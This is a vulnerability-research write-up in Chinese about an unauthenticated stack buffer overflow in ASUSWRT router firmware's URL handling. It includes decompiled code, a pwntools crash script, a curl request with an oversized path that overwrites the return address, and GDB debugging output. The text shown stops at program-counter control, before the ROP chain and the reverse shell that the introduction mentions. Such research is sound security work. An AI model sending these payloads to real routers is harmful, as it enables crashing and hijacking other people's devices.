ASUSWRT URL处理栈缓冲区溢出 | STAR实验室
2020年8月7日 · 18分钟阅读 · Lucas Tay (@c3xp1r)
目录
- 引言
- 静态分析
- 二进制差异分析
- 动态分析
- GDB调试
- 修复SIGILL异常
- 控制程序计数器(PC)
- 漏洞利用
- 完整利用脚本
- 结论
- 致谢
在处理URL中的XSS黑名单(如script标签)时,通过check_xss_blacklist
函数,当访问ASUS路由器Web界面时扩展URL长度可能导致栈缓冲区溢出。利用时需先进行栈转移,再链接ROP指令以执行自定义命令。本文展示如何利用此漏洞获取反向Shell。
此漏洞存在于使用ASUSWRT 3.0.0.4.384.20308(2018/02/01)版本的路由器中,我们以RT-AC88U为例。
引言
路由器是负责转发网络流量的网络设备,现已广泛存在于家庭、企业、咖啡馆、火车站等场所。不同型号通常提供Web界面以控制路由器的各项设置和配置。
此特定ASUS固件在尝试登录Web界面时,若URL处理过程中路径过长,存在栈缓冲区溢出漏洞,最终允许攻击者无需认证即可完全控制路由器,唯一要求是攻击者需在同一网络中。
静态分析
二进制差异分析
二进制差异分析技术可用于N日漏洞研究,帮助研究人员通过比较新旧二进制文件的补丁原因来寻找潜在漏洞。
本文使用Diaphora(IDA Pro的开源二进制差异分析工具)查看已修复版本3.0.0.4.384.20308与漏洞版本3.0.0.4.384.20379之间的变化。
首先,从ASUS网站下载.trx扩展名的固件(已不再提供,但幸运的是SoftPedia有镜像)。重点关注处理Web请求的httpd二进制文件。
使用binwalk提取固件内容:
1
2
3
|
binwalk -eM <firmware>.trx
cd ./<firmware>.trx.extracted/squashfs-root/usr/sbin
ls | grep "httpd"
|
在部分匹配下,有两个函数,其中一个在目标未修补二进制中名为sub_443CC。更新后的函数检查字符串长度,确保小于0x100,这可能是越界写入。
受额外长度检查的变量指向URL中的路径。跟踪如下:
1
|
handle_request --> auth_check --> page_default_redirect --> check_xss_blacklist
|
在handle_request中:
1
2
|
((void (*)(void))handler->auth)();
result = auth_check((int)&auth_realm, authorization, url, (int)file, cookies, fromapp);
|
在auth_check中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
page_default_redirect_sub_D6C0(a6, v6);
return v7;
v18 = strspn(v17 + 11, " \t");
snprintf((char *)&v22, 0x20u, "%s", &v7[v18 + 11]);
if ( !sub_4639C(&v22, 0) )
{
v19 = sub_44C88(&v22);
v16 = v19;
if ( !v19 )
{
if ( !sub_DF98(0) )
{
if ( !strcmp((const char *)&unk_A619C, (const char *)&v22) )
{
dword_6742C = 0;
}
else
{
strlcpy(&unk_A619C, &v22, 32);
dword_6742C = 1;
}
return (const char *)2;
}
page_default_redirect_sub_D6C0(a6, v6);
return (const char *)v16;
}
}
|
在page_default_redirect_sub_D6C0中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
nt __fastcall page_default_redirect_sub_D6C0(int fromapp_flag, const char *url)
{
const char *url_1; // r5
int fromapp_flag_1; // r4
char *login_url; // r0
const char *INDEXPAGE; // r1
bool v6; // zf
char inviteCode; // [sp+8h] [bp-110h]
url_1 = url;
fromapp_flag_1 = fromapp_flag;
memset(&inviteCode, 0, 0x100u);
login_url = (char *)check_xss_blacklist(url_1, 1);
v6 = login_url == 0;
if ( login_url )
login_url = (char *)&unk_A6758;
else
INDEXPAGE = url_1;
if ( v6 )
login_url = (char *)&unk_A6758;
else
INDEXPAGE = "index.asp";
strncpy(login_url, INDEXPAGE, 0x80u);
if ( !fromapp_flag_1 )
snprintf(&inviteCode, 0x100u, "<script>top.location.href='/page_default.cgi?url=%s';</script>", url_1);
return sub_D3C4(200, "OK", 0, &inviteCode, fromapp_flag_1);
}
|
根据https://github.com/smx-smx/asuswrt-rt/blob/master/apps/public/boa-asp/src/util.c#L1109重命名变量后:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
signed int __fastcall check_xss_blacklist(const char *path, int check_www)
{
const char *vPath; // r5
int check_www_; // r6
int i; // r8
char *path_t; // r4
bool v6; // zf
int path_1; // r7
char *query; // r7
const char *path_t_; // r1
size_t file_len; // r2
size_t length_of_path_t; // r6
int path_string; // [sp+0h] [bp-218h] with size 0x100
char url_string; // [sp+100h] [bp-118h]
char filename; // [sp+180h] [bp-98h]
vPath = path;
check_www_ = check_www;
memset(&filename, 0, 0x80u);
memset(&path_string, 0, 0x100u); // 将所有100字节设置为0
if ( !vPath || !*vPath ) // 补丁后,此条件添加了`strlen(vPath) > 0x100`
return 1;
i = 0;
path_t = strdup(vPath);
while ( 1 )
{
path_1 = (unsigned __int8)vPath[i];
if ( !vPath[i] ) // 即使长度为0x300,也永远检查是否有字符
break;
v6 = path_1 == '<';
if ( path_1 != '<' )
v6 = path_1 == '>';
if ( v6 || path_1 == '%' || path_1 == '(' || path_1 == ')' || path_1 == '&' )
goto LABEL_24;
*((_BYTE *)&path_string + i++) = *((_WORD *)*_ctype_tolower_loc() + path_1); // 此处发生覆盖
}
if ( strstr((const char *)&path_string, "script") || strstr((const char *)&path_string, "//") )
{
LABEL_24:
free(path_t);
return 1;
}
...
|
此跟踪显示,在检查XSS黑名单时,存在漏洞允许攻击者在访问router.asus.com时于请求的URL路径中创建长字符串。
此处,path变量可通过URL路径控制,且此函数未检查vPath长度是否超过分配缓冲区。vPath指向的字符串通过memset函数复制到path_string缓冲区。关键在于path_string缓冲区大小固定,而vPath可能因无大小检查而超长,这解释了补丁中添加strlen的原因。
发生的情况是,会检查某些字符是否为不良字符。接着,即使vPath中的字符超过0x100缓冲区大小,仍会继续写入path_string并递增i。因此,若写入超过0x218字节,便可开始修改栈帧外的栈。
动态分析
pwntools是用于构建漏洞利用的流行Python库。以下脚本可用于触发崩溃:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from pwn import *
context.terminal = ["terminator","-e"]
context(arch='arm', bits=32, endian='little', os='linux')
HOST = "192.168.2.1" # 更改为router.asus.com的地址
PORT = 80 # Web界面所在的HTTP端口
# 遵循从浏览器复制的响应头
header = "GET /" + "A"*(532) +" HTTP/1.1\r\n"
header += "Host : router.asus.com\r\n"
header += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
header += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
header += "Accept-Language: en-US,en;q=0.5\r\n"
header += "Accept-Encoding: gzip, deflate\r\n"
header += "Cookie: clickedItem_tab=0\r\n"
header += "Connection: keep-alive\r\n"
header += "Upgrade-Insecure-Requests: 1\r\n"
header += "Cache-Control: max-age=0\r\n"
# 连接到路由器
p = remote(HOST,PORT)
print p.recvrepeat(1)
p.send(header)
print p.recvrepeat(2)
|
GDB调试
确保已在路由器中启用SSH,以便更轻松地将ARM静态链接GDB传输到路由器。静态链接GDB从此处获取。确保获取正确的路由器架构(32位)。
将GDB附加到httpd PID,最后再次运行curl命令。此时应发生SIGSEGV:
修复SIGILL异常
尝试重新运行二进制文件时,会返回SIGILL异常。
根据此StackOverflow帖子,OPENSSL_cpuid_setup()假设它可以捕获SIGILL并在指令无法执行时继续。因此,设置环境变量OPENSSL_armcap = 0应可缓解此问题。
1
2
|
(gdb) set env OPENSSL_armcap=0
(gdb) run
|
控制程序计数器(PC)
方法:
- 在while循环开始处设置断点
- 在*((_BYTE *)&path_string + i++) = *((_WORD )_ctype_tolower_loc() + path_1);的第0x100次迭代处设置条件断点
- 观察栈
- 在覆盖程序计数器(pc)之前设置另一个条件断点
- 编辑payload,在URL中包含0x100个A、0x114个B和4个C,如下所示
- 将此头发送到我们的路由器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
curl 'http://router.asus.com/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'\
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'\
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'\
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'\
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCC' \
-H 'Host: router.asus.com' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' --compressed \
-H 'Cookie: clickedItem_tab=0' \
-H 'Connection: keep-alive' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Cache-Control: max-age=0'
|
这应给出SIGSEGV故障,位于CCCC处。
1
2
3
4
|
Program received signal SIGSEGV, Segmentation fault.
=> 0x63636362: Error while running hook_stop:
Cannot access memory at address 0x63636362
0x63636362 in ?? ()
|
由于不存在位置无关可执行文件(PIE)安全功能,很容易在固定位置设置断点。
首先,在位置0x44454设置断点。
这三行正在将数据从vPath复制到path_string缓冲区
1
2
3
4
5
|
=> 0x44454: ldr r3, [r0]
0x44458: lsl r7, r7, #1
0x4445c: ldrsh r2, [r3, r7] <-- 应看到小写'a',因为*((_WORD *)*_ctype_tolower_loc() + path_1)
0x44460: strb r2, [sp, r8] <--- path_string缓冲区在此
0x44464: add r8, r8, #1 <-- i递增发生处
|
单步执行至0x44460,检查i r $r2给出0x61,因为这指向路径中的第一个‘a’字符。
1
2
|
(gdb) i r r2
r2 0x61 97
|
接下来,设置条件断点,在将字母‘c’写入缓冲区之前停止。条件设置为在第532次迭代后中断。这是开始写入‘c’(即返回地址)之前要写入的字节数。
1
2
3
|
(gdb) break *0x44454 if $r8 == 532
Breakpoint 4 at 0x44454
(gdb) continue
|
运行后检查栈,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
=> 0x44454: ldr r3, [r0]
0x44458: lsl r7, r7, #1
0x4445c: ldrsh r2, [r3, r7]
0x44460: strb r2, [sp, r8]
0x44464: add r8, r8, #1
0x44468: ldrb r7, [r5, r8]
0x4446c: cmp r7, #0
0x44470: bne 0x44424
0x44474: mov r0, sp
0x44478: ldr r1, [pc, #268] ; 0x4458c
Breakpoint 4, 0x00044454 in ?? ()
(gdb) i r $r8
r8 0x214 532
(gdb) x/3s $sp
0x7e992e28: 'a' <repeats 200 times>...
0x7e992ef0: 'a' <repeats 56 times>, 'b' <repeats 144 times>...
0x7e992fb8: 'b' <repeats 132 times>, "0\367"
|
此状态显示确实可以覆盖缓冲区。
接下来,设置条件断点,在第535次迭代后在0x44464处中断。原因是为了确保在写入返回地址的最终字节之前命中断点。此处,返回地址中的最终字母‘c’。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
(gdb)break *0x44464 if $r8 == 535
# 在写入最终字母'c'后中断
...
(gdb) i r $r8
r8 0x217 535
(gdb) x/5s $sp
0x7e98ee28: 'a' <repeats 200 times>...
0x7e98eef0: 'a' <repeats 56 times>, 'b' <repeats 144 times>...
0x7e98efb8: 'b' <repeats 132 times>, "cccc" <<-------我们控制的返回地址
0x7e98f041: ""
0x7e98f042: ""
Breakpoint 7, 0x00044464 in ?? ()
(gdb) ni
...
...
(gdb) ni
Continuing.
=> 0x44584: add sp, sp, #512 ; 0x200
0x44588: pop {r4, r5, r6, r7, r8, pc} <<-- 栈的第6个位置,即0x63636363
0x4458c: andeq r2, r5, sp, ror #27
0x44590: andeq r8, r4, r12, asr #19
0x44594: ; <UNDEFINED> instruction: 0x0004dbba
0x44598: andeq r2, r5, r9, ror r11
0x4459c: andeq r8, r4, r11, lsl #20
0x445a0: andeq r5, r5, lr, asr r5
|